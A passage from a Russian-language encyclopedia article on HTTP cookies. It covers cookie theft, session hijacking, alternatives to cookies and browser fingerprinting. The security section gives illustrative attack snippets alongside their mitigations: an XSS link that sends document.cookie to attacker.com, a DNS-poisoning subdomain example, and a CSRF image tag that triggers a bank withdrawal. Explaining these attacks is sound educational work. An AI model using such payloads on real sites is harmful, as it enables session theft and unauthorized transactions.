Сторонние файлы cookie могут быть заблокированы большинством браузеров, чтобы повысить конфиденциальность и сократить отслеживание со стороны рекламных и отслеживающих компаний, не оказывая отрицательного воздействия на работу пользователя в Интернете. Многие рекламные операторы имеют возможность отказаться от поведенческой рекламы, при этом общий файл cookie в браузере останавливает поведенческую рекламу. [73] [74]

Кража файлов cookie и захват сеанса

Большинство веб-сайтов используют файлы cookie в качестве единственных идентификаторов для пользовательских сеансов, поскольку другие методы идентификации веб-пользователей имеют ограничения и уязвимости. Если веб-сайт использует файлы cookie в качестве идентификаторов сеанса, злоумышленники могут имитировать запросы пользователей, похищая полный набор файлов cookie жертв. С точки зрения веб-сервера, запрос от злоумышленника имеет ту же аутентификацию, что и запросы жертвы; таким образом, запрос выполняется от имени сеанса жертвы.

Здесь перечислены различные сценарии кражи файлов cookie и перехвата пользовательских сеансов (даже без кражи пользовательских файлов cookie), которые работают с веб-сайтами, использующими только файлы cookie HTTP для идентификации пользователя.

Подслушивание сети

Файл cookie может быть украден другим компьютером, которому разрешено чтение из сети.

Трафик в сети может быть перехвачен и прочитан компьютерами в сети, кроме отправителя и получателя (особенно через незашифрованный открытый Wi-Fi ). Этот трафик включает файлы cookie, отправленные в обычных незашифрованных сеансах HTTP . Если сетевой трафик не зашифрован, злоумышленники могут читать сообщения других пользователей в сети, включая файлы cookie HTTP, а также все содержимое разговоров с целью атаки типа «злоумышленник в середине» .

Злоумышленник может использовать перехваченные файлы cookie, чтобы выдать себя за пользователя и выполнить вредоносную задачу, такую ​​как перевод денег с банковского счета жертвы.

Эта проблема может быть решена путем обеспечения безопасности связи между компьютером пользователя и сервером, используя безопасность транспортного уровня ( протокол HTTPS ) для шифрования соединения. Сервер может указать Secureфлаг при установке файла cookie, что приведет к тому, что браузер будет отправлять файл cookie только по зашифрованному каналу, например по TLS-соединению. [45]

Публикация ложного поддомена: отравление кеша DNS

Если злоумышленник может заставить DNS-сервер кэшировать сфабрикованную запись DNS (так называемое отравление DNS-кеша ), то это может позволить злоумышленнику получить доступ к файлам cookie пользователя. Например, злоумышленник может использовать отравление кеша DNS для создания сфабрикованной записи DNS f12345.www.example.com, указывающей на IP-адрес сервера злоумышленника. Затем злоумышленник может опубликовать URL-адрес изображения со своего собственного сервера (например, http://f12345.www.example.com/img_4_cookie.jpg). Жертвы, читающие сообщение злоумышленника, загрузят это изображение из f12345.www.example.com. Поскольку f12345.www.example.comэто поддомен www.example.com, браузеры жертв будут отправлять все example.comсвязанные файлы cookie на сервер злоумышленника.

Если злоумышленник может это сделать, то, как правило, это вина интернет-провайдеров, которые не обеспечили надлежащую защиту своих DNS-серверов. Однако серьезность этой атаки может быть уменьшена, если целевой веб-сайт использует безопасные файлы cookie. В этом случае злоумышленник столкнется с дополнительной проблемой [75] получения сертификата TLS целевого веб-сайта от центра сертификации , поскольку безопасные файлы cookie могут передаваться только через зашифрованное соединение. Без соответствующего сертификата TLS браузеры жертв будут отображать предупреждающее сообщение о недействительном сертификате злоумышленника, что поможет удержать пользователей от посещения мошеннического веб-сайта злоумышленника и отправки злоумышленнику своих файлов cookie.

Межсайтовый скриптинг: кража файлов cookie

Файлы cookie также могут быть украдены с помощью метода, называемого межсайтовым скриптингом. Это происходит, когда злоумышленник использует веб-сайт, который позволяет своим пользователям публиковать нефильтрованный контент HTML и JavaScript . Размещая вредоносный код HTML и JavaScript, злоумышленник может заставить веб-браузер жертвы отправить файлы cookie жертвы на веб-сайт, контролируемый злоумышленником.

Например, злоумышленник может отправить сообщение по www.example.comследующей ссылке:

< a  href = "#"  onclick = "window.location = 'http://attacker.com/stole.cgi?text=' + escape (document.cookie); return false;" > Щелкните здесь! </ а >
Межсайтовый скриптинг: файл cookie, которым следует обмениваться только между сервером и клиентом, отправляется другой стороне.

Когда другой пользователь нажимает на эту ссылку, браузер выполняет фрагмент кода в onclickатрибуте, таким образом заменяя строку document.cookieсписком файлов cookie, доступных с текущей страницы. В результате этот список файлов cookie отправляется на attacker.comсервер. Если злонамеренная публикация злоумышленника находится на веб-сайте HTTPS https://www.example.com, защищенные файлы cookie также будут отправлены на сайт attacker.com в виде обычного текста.

Разработчики веб-сайта обязаны отфильтровывать такой вредоносный код.

Такие атаки можно смягчить с помощью файлов cookie HttpOnly. Эти файлы cookie не будут доступны для языков сценариев на стороне клиента, таких как JavaScript, и, следовательно, злоумышленник не сможет собрать эти файлы cookie.

Межсайтовый скриптинг: запрос прокси

В более старых версиях многих браузеров в реализации API XMLHttpRequest были дыры в безопасности . Этот API позволяет страницам указывать прокси-сервер, который будет получать ответ, и этот прокси-сервер не подчиняется политике одного и того же происхождения . Например, жертва читает сообщение злоумышленника www.example.com, и сценарий злоумышленника выполняется в браузере жертвы. Скрипт генерирует запрос к www.example.comпрокси-серверу attacker.com. Поскольку запрос предназначен для www.example.com, все example.comфайлы cookie будут отправляться вместе с запросом, но маршрутизироваться через прокси-сервер злоумышленника. Следовательно, злоумышленник сможет получить файлы cookie жертвы.

Эта атака не будет работать с безопасными файлами cookie, поскольку они могут передаваться только через HTTPS- соединения, а протокол HTTPS требует сквозного шифрования (т.е. информация зашифровывается в браузере пользователя и дешифруется на целевом сервере). В этом случае прокси-сервер будет видеть только необработанные зашифрованные байты HTTP-запроса.

Подделка межсайтовых запросов

Например, Боб может просматривать чат-форум, где другой пользователь, Мэллори, разместил сообщение. Предположим, что Мэллори создал элемент изображения HTML, который ссылается на действие на веб-сайте банка Боба (а не на файл изображения), например,

<img  src = "http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory" >

Если банк Боба хранит его аутентификационную информацию в файле cookie, и если срок действия файла cookie не истек, то при попытке браузера Боба загрузить изображение будет отправлена ​​форма вывода с его файлом cookie, таким образом авторизуя транзакцию без одобрения Боба.

Cookiejacking

Cookiejacking - это атака на Internet Explorer, которая позволяет злоумышленнику украсть файлы cookie сеанса пользователя, заставив пользователя перетащить объект по экрану. [76] Microsoft посчитала уязвимость маловероятной из-за «необходимого уровня взаимодействия с пользователем» [76] и необходимости, чтобы пользователь уже вошел на веб-сайт, чей файл cookie был украден. [77] Несмотря на это, исследователь попытался атаковать 150 друзей из Facebook и получил файлы cookie 80 из них с помощью социальной инженерии . [76]

Недостатки файлов cookie

Помимо проблем с конфиденциальностью, файлы cookie также имеют некоторые технические недостатки. В частности, они не всегда точно идентифицируют пользователей, их можно использовать для атак на систему безопасности, и они часто не соответствуют стилю архитектуры программного обеспечения « Перенос репрезентативного состояния» ( REST ). [78] [79]

Неточная идентификация

Если на компьютере используется более одного браузера, каждый обычно имеет отдельную область для хранения файлов cookie. Следовательно, файлы cookie идентифицируют не человека, а комбинацию учетной записи пользователя, компьютера и веб-браузера. Таким образом, любой, кто использует несколько учетных записей, компьютеров или браузеров, имеет несколько наборов файлов cookie.

Точно так же файлы cookie не делают различий между несколькими пользователями, которые используют одну и ту же учетную запись пользователя , компьютер и браузер.

Несогласованное состояние на клиенте и сервере

Использование файлов cookie может вызвать несоответствие между состоянием клиента и состоянием, сохраненным в файле cookie. Если пользователь получает файл cookie, а затем нажимает кнопку «Назад» в браузере, состояние браузера обычно не такое, как до этого получения. Например, если корзина интернет-магазина построена с использованием файлов cookie, содержимое корзины может не измениться, когда пользователь вернется в историю браузера: если пользователь нажимает кнопку, чтобы добавить товар в корзину, и затем нажимает кнопку «Назад», товар остается в корзине. Возможно, это не было намерением пользователя, который, возможно, хотел отменить добавление элемента. Это может привести к ненадежности, путанице и ошибкам.Поэтому веб-разработчики должны знать об этой проблеме и принимать меры для разрешения таких ситуаций.

Альтернативы куки

Некоторые операции, которые можно выполнять с помощью файлов cookie, также можно выполнять с помощью других механизмов.

Веб-токены JSON

JSON веб - маркера (JWT) представляет собой автономный пакет информации , который может быть использован для хранения идентификационных данных пользователя и информации о подлинности. Это позволяет использовать их вместо файлов cookie сеанса. В отличие от файлов cookie, которые автоматически прикрепляются браузером к каждому HTTP-запросу, JWT должны быть явно прикреплены к каждому HTTP-запросу веб-приложением.

HTTP-аутентификация

Протокол HTTP включает в себя базовую аутентификацию доступа и протоколы дайджест-аутентификации доступа , которые разрешают доступ к веб-странице только в том случае, если пользователь предоставил правильное имя пользователя и пароль. Если серверу требуются такие учетные данные для предоставления доступа к веб-странице, браузер запрашивает их у пользователя и, после получения, браузер сохраняет и отправляет их в каждом последующем запросе страницы. Эта информация может использоваться для отслеживания пользователя.

айпи адрес

Некоторых пользователей можно отслеживать по IP-адресу компьютера, запрашивающего страницу. Сервер знает IP-адрес компьютера, на котором запущен браузер (или прокси-сервера , если он используется), и теоретически может связать сеанс пользователя с этим IP-адресом.

Однако IP-адреса обычно не являются надежным способом отслеживания сеанса или идентификации пользователя. Многие компьютеры, предназначенные для использования одним пользователем, например офисные или домашние ПК, находятся за преобразователем сетевых адресов (NAT). Это означает, что несколько компьютеров будут иметь общий IP-адрес. Кроме того, некоторые системы, такие как Tor , предназначены для сохранения анонимности в Интернете , что делает отслеживание по IP-адресу непрактичным, невозможным или представляет угрозу безопасности.

URL (строка запроса)

Более точный метод основан на встраивании информации в URL-адреса. Строка запроса часть URL является частью , которая обычно используется для этой цели, но и другие части могут быть также использованы. В Java Servlet и PHP сессии механизмы , как использовать этот метод , если куки не включены.

Этот метод состоит из того, что веб-сервер добавляет строки запроса, содержащие уникальный идентификатор сеанса, ко всем ссылкам внутри веб-страницы. Когда пользователь переходит по ссылке, браузер отправляет строку запроса на сервер, позволяя серверу идентифицировать пользователя и поддерживать состояние.

Эти типы строк запроса очень похожи на файлы cookie, поскольку оба содержат произвольные фрагменты информации, выбранные сервером, и оба отправляются обратно на сервер при каждом запросе. Однако есть некоторые отличия. Поскольку строка запроса является частью URL-адреса, при повторном использовании этого URL-адреса на сервер будет отправлена ​​та же прикрепленная часть информации, что может привести к путанице. Например, если предпочтения пользователя закодированы в строке запроса URL-адреса, и пользователь отправляет этот URL-адрес другому пользователю по электронной почте , эти предпочтения будут использоваться и для этого другого пользователя.

Более того, если один и тот же пользователь обращается к одной и той же странице несколько раз из разных источников, нет гарантии, что каждый раз будет использоваться одна и та же строка запроса. Например, если пользователь посещает страницу, перейдя с внутренней страницы на сайт в первый раз, а затем посещает ту же страницу, перейдя из внешней поисковой системы во второй раз, строки запроса, вероятно, будут другими. Если бы в этой ситуации использовались файлы cookie, файлы cookie были бы такими же.

Другие недостатки строк запроса связаны с безопасностью. Хранение данных, идентифицирующих сеанс, в строке запроса позволяет использовать атаки фиксации сеанса, атаки с регистрацией рефереров и другие уязвимости безопасности . Передача идентификаторов сеансов в виде файлов cookie HTTP более безопасна.

Скрытые поля формы

Другая форма отслеживания сеанса - использование веб-форм со скрытыми полями. Этот метод очень похож на использование строк запроса URL для хранения информации и имеет многие из тех же преимуществ и недостатков. Фактически, если форма обрабатывается с помощью метода HTTP GET, этот метод аналогичен использованию строк запроса URL-адреса, поскольку метод GET добавляет поля формы к URL-адресу в виде строки запроса. Но большинство форм обрабатываются с помощью HTTP POST, что приводит к отправке информации формы, включая скрытые поля, в теле HTTP-запроса, которое не является ни частью URL-адреса, ни файла cookie.

Этот подход дает два преимущества с точки зрения трекера. Во-первых, наличие отслеживающей информации, размещенной в теле HTTP-запроса, а не в URL-адресе, означает, что средний пользователь не заметит ее. Во-вторых, информация о сеансе не копируется, когда пользователь копирует URL-адрес (например, чтобы добавить страницу в закладки или отправить ее по электронной почте).

"window.name" свойство DOM

Все современные веб-браузеры могут хранить довольно большой объем данных (2–32 МБ) через JavaScript, используя свойство DOMwindow.name . Эти данные могут использоваться вместо файлов cookie сеанса, а также являются междоменными. Этот метод может быть объединен с объектами JSON / JavaScript для хранения сложных наборов переменных сеанса [80] на стороне клиента.

Обратной стороной является то, что каждое отдельное окно или вкладка изначально будет иметь пустое window.nameсвойство при открытии. Кроме того, это свойство можно использовать для отслеживания посетителей на разных веб-сайтах, что создает угрозу конфиденциальности в Интернете .

В некоторых отношениях это может быть более безопасно, чем файлы cookie, потому что его содержимое не отправляется автоматически на сервер при каждом запросе, как файлы cookie, поэтому он не уязвим для атак с перехватом сетевых файлов cookie. Однако, если не принять специальных мер для защиты данных, они уязвимы для других атак, поскольку данные доступны на разных веб-сайтах, открытых в одном окне или на одной вкладке.

Идентификатор для рекламодателей

Apple использует метод отслеживания, который называется «идентификатор для рекламодателей» ( IDFA ). Этот метод присваивает уникальный идентификатор каждому пользователю, который покупает устройство Apple iOS (например, iPhone или iPad). Затем этот идентификатор используется рекламной сетью Apple, iAd , для определения рекламы, которую люди просматривают и на которые реагируют. [81]

ETag

Поскольку ETag кэшируются браузером и возвращаются с последующими запросами для того же ресурса, сервер отслеживания может просто повторять любой ETag, полученный от браузера, чтобы гарантировать, что назначенный ETag сохраняется бесконечно (аналогично постоянным файлам cookie). Дополнительные заголовки кэширования также могут улучшить сохранность данных ETag.

В некоторых браузерах ETag можно сбросить, очистив кеш браузера .

веб-хранилище

Некоторые веб-браузеры поддерживают механизмы сохранения, которые позволяют странице хранить информацию локально для дальнейшего использования.

Стандарт HTML5 (который в некоторой степени поддерживают большинство современных веб-браузеров) включает API JavaScript, называемый веб-хранилищем, который позволяет использовать два типа хранилища: локальное хранилище и хранилище сеансов. Локальное хранилище ведет себя аналогично постоянным файлам cookie, в то время как хранилище сеанса ведет себя аналогично файлам cookie сеанса , за исключением того, что хранилище сеанса привязано к времени жизни отдельной вкладки / окна (также известное как сеанс страницы), а не ко всему сеансу браузера, как сеансовые файлы cookie. [82]

Internet Explorer поддерживает постоянную информацию [83] в истории браузера, в избранном браузере, в хранилище XML («данные пользователя») или непосредственно на веб-странице, сохраненной на диске.

Некоторые плагины веб-браузера также включают механизмы сохранения. Например, Adobe Flash имеет локальный общий объект, а Microsoft Silverlight - изолированное хранилище. [84]

Кеш браузера

Кэш браузера также можно использовать для хранения информации, которую можно использовать для отслеживания отдельных пользователей. Этот метод использует тот факт, что веб-браузер будет использовать ресурсы, хранящиеся в кеше, вместо загрузки их с веб-сайта, когда он определит, что в кеше уже есть самая последняя версия ресурса.

Например, веб-сайт может обслуживать файл JavaScript с кодом, который устанавливает уникальный идентификатор для пользователя (например, var userId = 3243242;). После первого посещения пользователем каждый раз, когда пользователь обращается к странице, этот файл будет загружаться из кеша, а не с сервера. Таким образом, его содержание никогда не изменится.

Отпечаток браузера

Браузер отпечатков пальцев является собранной информацией о конфигурации браузера, таких как номер версии, разрешение экрана, и операционной системы, с целью идентификации. Отпечатки пальцев можно использовать для полной или частичной идентификации отдельных пользователей или устройств, даже если файлы cookie отключены.

Базовая информация о конфигурации веб-браузера уже давно собирается службами веб-аналитики, чтобы точно измерить реальный человеческий веб-трафик и учесть различные формы мошенничества с кликами . С помощью языков сценариев на стороне клиента возможен сбор гораздо более сложных параметров. [85] [86] Ассимиляция такой информации в одну строку включает отпечаток устройства. В 2010 году EFF измерил не менее 18,1 бит энтропии, возможной при снятии отпечатков пальцев в браузере. [87] Отпечаток на холсте , более поздний метод, утверждает, что добавляет еще 5,7 бит.

Смотрите также

  • Динамический HTML
  • Enterprise JavaBeans
  • Сессия (информатика)
  • Безопасный файл cookie
  • HTTP Strict Transport Security § Проблемы конфиденциальности

Рекомендации

  1. ^ Вамози, Роберт (2008-04-14). «Файл cookie Gmail украден с помощью таблиц Google» . News.cnet.com . Архивировано 9 декабря 2013 года . Проверено 19 октября 2017 года .
  2. ^ "А как насчет" Директивы ЕС о файлах cookie "?" . WebCookies.org. 2013. Архивировано 11 октября 2017 года . Проверено 19 октября 2017 года .
  3. ^ «Новые сетевые правила, заставляющие куки рассыпаться» . BBC . 2011-03-08. Архивировано 10 августа 2018 года . Проверено 21 июня 2018 .
  4. ^ «Сенатор Рокфеллер: Будьте готовы к реальным законопроектам о запрете отслеживания интернет-рекламы» . Adage.com . 2011-05-06. Архивировано 24 августа 2011 года . Проверено 2 июня 2011 .
  5. ^ Хотите использовать мой Wi-Fi? Архивировано 4 января 2018 г. в Wayback Machine , Янн Хорн, дата обращения 5 января 2018 г.
  6. ^ "Откуда cookie: :: DominoPower" . dominopower.com . Архивировано 19 октября 2017 года . Проверено 19 октября 2017 года .
  7. ^ Раймонд, Эрик (ред.). «волшебное печенье» . Файл жаргона (версия 4.4.7) . Архивировано 6 сентября 2017 года . Проверено 8 сентября 2017 года .CS1 maint: дополнительный текст: список авторов ( ссылка )
  8. ^ Шварц, Джон (2001-09-04). «Предоставление Интернету памяти стоит его пользователям конфиденциальности» . Нью-Йорк Таймс . Архивировано 26 августа 2011 года . Проверено 19 февраля 2017 .
  9. ^ а б Кесан, Джей; и Шах, Раджив; Deconstructing Code. Архивировано 7 февраля 2007 г. в Wayback Machine , SSRN.com, глава II.B (файлы cookie Netscape), Yale Journal of Law and Technology, 6, 277–389
  10. ^ а б Кристол, Дэвид; HTTP-файлы cookie: стандарты, конфиденциальность и политика , ACM Transactions on Internet Technology, 1 (2), 151–198, 2001 doi : 10.1145 / 502152.502153 (расширенная версия находится в свободном доступе по адресу [https://web.archive.org// web / 20140716051321 / http: //arxiv.org/abs/cs.SE/0105018 Архивировано 16 июля 2014 г. на Wayback Machine arXiv: cs / 0105018v1 [cs.SE]])
  11. ^ "Пресс-релиз: Netscape Communications предлагает новый сетевой навигатор бесплатно в Интернете" . Архивировано из оригинала на 2006-12-07 . Проверено 22 мая 2010 .
  12. ^ "Сообщение Usenet от Марка Андреессена: Вот оно, мир!" . 1994-10-13. Архивировано 27 апреля 2011 года . Проверено 22 мая 2010 .
  13. ^ Kristol, Дэвид М. (ноябрь 2001). «Файлы cookie HTTP» . ACM-транзакции по Интернет-технологиям . 1 (2): 151–198. arXiv : cs / 0105018 . DOI : 10.1145 / 502152.502153 . ISSN 1533-5399 . S2CID 1848140 .  
  14. ^ Hardmeier, Санди (2005-08-25). «История Internet Explorer» . Microsoft. Архивировано 01.10.2005 . Проверено 4 января 2009 .
  15. ^ Джексон, Т (1996-02-12). «Эта ошибка на вашем компьютере - интеллектуальный файл cookie». Financial Times .
  16. ^ «Настройка файлов cookie» . Staff.washington.edu . 19 июня 2009 года. Архивировано 16 марта 2017 года . Проверено 15 марта 2017 года .
  17. ^ В документации edbrowse версии 3.5 сказано: «Обратите внимание, что поддерживаются только файлы cookie в стиле Netscape. Однако это наиболее распространенный вид файлов cookie. Он, вероятно, удовлетворит ваши потребности». Этот пункт был удален в более поздних версиях документации архивной 2017-03-16 в Wayback Machine далее RFC 2965 устаревания «s.
  18. ^ Ходжес, Джефф; Корри, Бил (6 марта 2011 г.). « Механизм HTTP Государственное управление“для предложенного стандарта» . Практика безопасности . Архивировано 7 августа 2016 года . Проверено 17 июня +2016 .
  19. ^ "Set-Cookie2 - HTTP | MDN" . developer.mozilla.org . Проверено 8 марта 2021 .
  20. ^ Описание службы поддержки Microsoft постоянных и сеансовых файлов cookie в Internet Explorer, заархивировано 25 сентября 2011 г.на Wayback Machine, идентификатор статьи 223799, 2007 г.
  21. ^ «Поддержание состояния сеанса с помощью файлов cookie» . Сеть разработчиков Microsoft . Архивировано 14 октября 2012 года . Проверено 22 октября 2012 года .
  22. ^ " ' SameSite' атрибут печенье, платформы Chrome ОСТОЯНИЕ" . Chromestatus.com . Архивировано 9 мая 2016 года . Проверено 23 апреля 2016 .
  23. ^ Гудвин, М .; Запад. «Файлы cookie того же сайта draft-ietf-httpbis-cookie-same-site-00» . tools.ietf.org . Архивировано 16 августа 2016 года . Проверено 28 июля 2016 .
  24. ^ https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/
  25. ^ https://github.com/httpwg/http-extensions/pull/1323
  26. ^ https://www.lambdatest.com/SameSite-cookie-attribute
  27. ^ https://blog.chromium.org/2020/02/samesite-cookie-changes-in-feb February.html
  28. ^ https://blog.chromium.org/2020/04/tempoporary-rolling-back-samesite.html
  29. ^ «Сторонние домены» . WebCookies.org. Архивировано 9 декабря 2014 года . Проверено 7 декабря 2014 .
  30. ^ «Количество файлов cookie» . WebCookies.org. Архивировано 9 декабря 2014 года . Проверено 7 декабря 2014 .
  31. ^ Статт, Ник (2020-03-24). «Apple обновляет технологию защиты Safari от отслеживания, добавив полную блокировку сторонних файлов cookie» . Грань . Проверено 24 июля 2020 .
  32. ^ «Firefox по умолчанию начинает блокировать сторонние файлы cookie» . VentureBeat . 2019-06-04 . Проверено 24 июля 2020 .
  33. ^ Храбрый (06.02.2020). «Окей, Google, не откладывайте реальную конфиденциальность браузера до 2022 года» . Смелый браузер . Проверено 24 июля 2020 .
  34. ^ Protalinski, Эмиль (19 мая 2020). «Chrome 83 поставляется с измененными настройками безопасности, сторонние файлы cookie заблокированы в режиме инкогнито» . VentureBeat . VentureBeat . Проверено 25 июня 2020 .
  35. ^ Вторник, Сара Слуис //; 14 января; Ам, 2020-11: 00 (2020-01-14). «Google Chrome откажется от сторонних файлов cookie через 2 года» . AdExchanger . Проверено 24 июля 2020 .CS1 maint: числовые имена: список авторов ( ссылка )
  36. ^ «Узнайте больше о публичном списке суффиксов» . Publicsuffix.org . Архивировано 14 мая 2016 года . Проверено 28 июля +2016 .
  37. Майер, Джонатан (19 августа 2011 г.). «Отслеживание трекеров: реклама Microsoft» . Центр Интернета и общества. Архивировано 26 сентября 2011 года . Проверено 28 сентября 2011 года .
  38. ^ Виджаян, Jaikumar. «Microsoft отключает« супер-файлы cookie », используемые посетителями MSN.com» . Архивировано 27 ноября 2014 года . Проверено 23 ноября 2014 года .
  39. Стивен Энглхардт и Артур Эдельштейн (26 января 2021 г.). «Firefox 85 уничтожает супер-файлы cookie» .CS1 maint: использует параметр авторов ( ссылка )
  40. ^ Тигас, Джулия Ангвин, Майк. «Зомби-cookie: отслеживающий cookie-файл, который нельзя убить» . ProPublica . Проверено 1 ноября 2020 .
  41. ^ 11 июня, Конрад Штольце |; Образование | 0, 2011 | (11.06.2011). "Печенье, которое не рассыпается!" . Журнал 24x7 . Проверено 1 ноября 2020 .CS1 maint: числовые имена: список авторов ( ссылка )
  42. ^ Пэн, Вэйхун; Цисна, Дженнифер (2000). «Файлы cookie HTTP, многообещающая технология». Proquest . Обзор онлайн-информации. ProQuest 194487945 .  Отсутствует или пусто |url=( справка )
  43. ^ Джим Манико цитирует Дэниела Стенберга, Ограничения длины файлов cookie в реальном мире. Архивировано 2 июля 2013 г.в Wayback Machine.
  44. ^ Рейни, Lee (2012). Сеть: новая социальная операционная система. п. 237
  45. ^ a b Механизм управления состоянием HTTP IETF , апрель 2011 г. Устарел RFC 2965
  46. ^ «Постоянные HTTP-файлы cookie состояния клиента: предварительная спецификация» . Netscape. c. 1999. Архивировано из оригинала на 2007-08-05.
  47. ^ «Свойство cookie» . MSDN . Microsoft. Архивировано 05 апреля 2008 года . Проверено 4 января 2009 .
  48. ^ Шеннон, Росс (2007-02-26). «Файлы cookie, установка и получение информации о ваших читателях» . HTMLSource. Архивировано 26 августа 2011 года . Проверено 4 января 2009 .
  49. ^ «Механизм управления состоянием HTTP, атрибут пути» . IETF . Март 2014. Архивировано 01.05.2011 . Проверено 12 мая 2011 .
  50. ^ «RFC 6265, Механизм управления состоянием HTTP, соответствие домена» . IETF . Март 2014. Архивировано 01.05.2011 . Проверено 12 мая 2011 .
  51. ^ «RFC 6265, механизм управления состоянием HTTP, атрибут домена» . IETF . Март 2014. Архивировано 01.05.2011 . Проверено 12 мая 2011 .
  52. ^ «Внутренние компоненты файлов cookie Internet Explorer (FAQ)» . 21 ноября 2018.
  53. ^ «RFC 2109, Механизм управления состоянием HTTP, синтаксис Set-Cookie» . IETF . Март 2014. В архиве с оригинала на 2014-03-13 . Проверено 4 марта 2014 .
  54. ^ «RFC 6265, HTTP State Management Mechanism» . ietf.org . Архивировано 01 мая 2011 года . Проверено 12 мая 2011 .
  55. ^ «Совместимость спецификации файлов cookie в современных браузерах» . inikulin.github.io . 2016. Архивировано 2 октября 2016 года . Проверено 30 сентября 2016 .
  56. ^ Коулз, Питер. «HTTP-файлы cookie: в чем разница между Max-age и Expires? - Питер Коулз» . Mrcoles.com . Архивировано 29 июля 2016 года . Проверено 28 июля +2016 .
  57. ^ «Отчет Symantec об угрозах безопасности в Интернете: тенденции за июль – декабрь 2007 г. (Краткое содержание)» (PDF) . XIII . Symantec Corp. Апрель 2008 г.: 1–3. Архивировано 25 июня 2008 года (PDF) . Проверено 11 мая 2008 года . Цитировать журнал требует |journal=( помощь )
  58. Уэлен, Дэвид (8 июня 2002 г.). «Часто задаваемые вопросы о неофициальных файлах cookie, версия 2.6» . Cookie Central. Архивировано 26 августа 2011 года . Проверено 4 января 2009 .
  59. ^ «Сторонние файлы cookie, хранилище DOM и конфиденциальность» . grack.com: блог Мэтта Мастраччи. 6 января 2010 года. Архивировано 24 ноября 2010 года . Проверено 20 сентября 2010 .
  60. ^ «Как управлять файлами cookie в Internet Explorer 6» . Microsoft. 18 декабря 2007 года. Архивировано 28 декабря 2008 года . Проверено 4 января 2009 .
  61. ^ «Очистка личных данных» . База знаний службы поддержки Firefox . Mozilla. 16 сентября 2008 года. Архивировано 3 января 2009 года . Проверено 4 января 2009 .
  62. ^ «Очистить личную информацию: очистить данные просмотра» . Справка Google Chrome . Архивировано 11 марта 2009 года . Проверено 4 января 2009 .
  63. ^ «Очистить личную информацию: удалить файлы cookie» . Справка Google Chrome . Архивировано 11 марта 2009 года . Проверено 4 января 2009 .
  64. ^ "Site Compatibility for Firefox 22" , Mozilla Developer Network , 2013-04-11, заархивировано из оригинала 27.05.2013 , извлечено 11.04.2013.
  65. ^ Миядзаки, Энтони Д. (2008), «Конфиденциальность в Интернете и раскрытие информации об использовании файлов cookie: влияние на доверие потребителей и ожидаемое покровительство», Журнал государственной политики и маркетинга, 23 (весна), 19–33
  66. ^ «ЦРУ поймали крадущиеся куки» . CBS News . 2002-03-20. Архивировано 26 августа 2011 года . Проверено 2 января 2006 .
  67. ^ «Шпионское агентство удаляет незаконные файлы отслеживания» . Нью-Йорк Таймс . 2005-12-29. Архивировано 26 августа 2011 года . Проверено 19 февраля 2017 .
  68. ^ «Директива ЕС о файлах cookie, Директива 2009/136 / EC» . Правовая информация JISC. Архивировано 18 декабря 2012 года . Проверено 31 октября 2012 года .
  69. ^ a b c Правила конфиденциальности и электронной связи . Офис Уполномоченного по информации. 2012. Архивировано из оригинала на 2012-10-30 . Проверено 31 октября 2012 .
  70. ^ «Директива 95/46 / EC Европейского парламента и Совета от 24 октября 1995 г. о защите физических лиц в отношении обработки персональных данных и о свободном перемещении таких данных» . Официальный журнал (L) : 0031–0050. 1995-11-23. Архивировано 27 сентября 2012 года . Проверено 31 октября 2012 года .
  71. ^ «Новый закон ЕС о файлах cookie (Директива об электронной конфиденциальности)» . Архивировано из оригинального 24 февраля 2011 года . Проверено 31 октября 2012 года .
  72. ^ «Закон ЕС о файлах cookie: прекратите ныть и продолжайте» . Проводная Великобритания . 2012-05-24. Архивировано 15 ноября 2012 года . Проверено 31 октября 2012 года .
  73. ^ a b «Лазейка, достаточно большая для печенья» . Биты . Нью-Йорк Таймс. 2010-09-17. Архивировано 26 января 2013 года . Проверено 31 января 2013 года .
  74. ^ Pegoraro, Rob (17 июля 2005). «Как заблокировать отслеживающие файлы cookie» . Вашингтон Пост . п. F07. Архивировано 27 апреля 2011 года . Проверено 4 января 2009 .
  75. ^ Wired Hack получил 9 поддельных сертификатов для известных веб-сайтов, заархивированных 26 марта 2014 г. на Wayback Machine
  76. ^ a b c Финкль, Джим (25 мая 2011 г.). «Последняя угроза безопасности Microsoft:« Cookiejacking » » . Рейтер . Архивировано 30 мая 2011 года . Проверено 26 мая 2011 года .
  77. ^ Уитни, Лэнс (2011-05-26). «Исследователь безопасности обнаружил риск« взлома cookie »в IE» . CNET . Архивировано из оригинального 14 июня 2011 года . Дата обращения 6 сентября 2019 .
  78. ^ Филдинг, Рой (2000). "Филдинг Диссертация: ГЛАВА 6: Опыт и оценка" . Архивировано 27 апреля 2011 года . Проверено 14 октября 2010 .
  79. ^ Tilkov, Стефан (2 июля 2008). «Антипаттерны ОТДЫХА» . InfoQ. Архивировано 23 декабря 2008 года . Проверено 4 января 2009 .
  80. ^ "ThomasFrank.se" . ThomasFrank.se. Архивировано 15 мая 2010 года . Проверено 22 мая 2010 .
  81. ^ «Файл cookie мертв. Вот как Facebook, Google и Apple отслеживают вас сейчас, VentureBeat, Mobile, Ричард Бирн Рейли» . VentureBeat . 2014-10-06. Архивировано 24 июля 2017 года . Проверено 31 августа 2017 .
  82. ^ "Window.sessionStorage, веб-API | MDN" . developer.mozilla.org . Архивировано 28 сентября 2015 года . Дата обращения 2 октября 2015 .
  83. ^ «Введение в настойчивость» . microsoft.com . Microsoft. Архивировано 11 января 2015 года . Проверено 9 октября 2014 .
  84. ^ «Изолированное хранилище» . Microsoft.com . Архивировано 16 декабря 2014 года . Проверено 9 октября 2014 .
  85. ^ "BrowserSpy" . gemal.dk. Архивировано 26 сентября 2008 года . Проверено 28 января 2010 .
  86. ^ Поведение по умолчанию "IE" [sic] "тесты раскрытия информации браузера: clientCaps" . Mypage.direct.ca. Архивировано 05 июня 2011 года . Проверено 28 января 2010 .
  87. ^ Eckersley, Питер (17 мая 2010). "Насколько уникален ваш веб-браузер?" (PDF) . eff.org . Electronic Frontier Foundation. Архивировано из оригинального (PDF) 15 октября 2014 года . Проверено 23 июля 2014 года .

Эта статья основана на материалах, взятых из Free On-line Dictionary of Computing до 1 ноября 2008 г. и включенных в соответствии с условиями «перелицензирования» GFDL версии 1.3 или новее.

Источники

  • Аноним, 2011. Атака Cookiejacking ворует учетные данные для доступа к веб-сайту. Informationweek - Online, стр. Informationweek - Online, 26 мая 2011 г.

внешняя ссылка

Послушайте эту статью ( 1 час 1 минута )
Разговорный значок Википедии
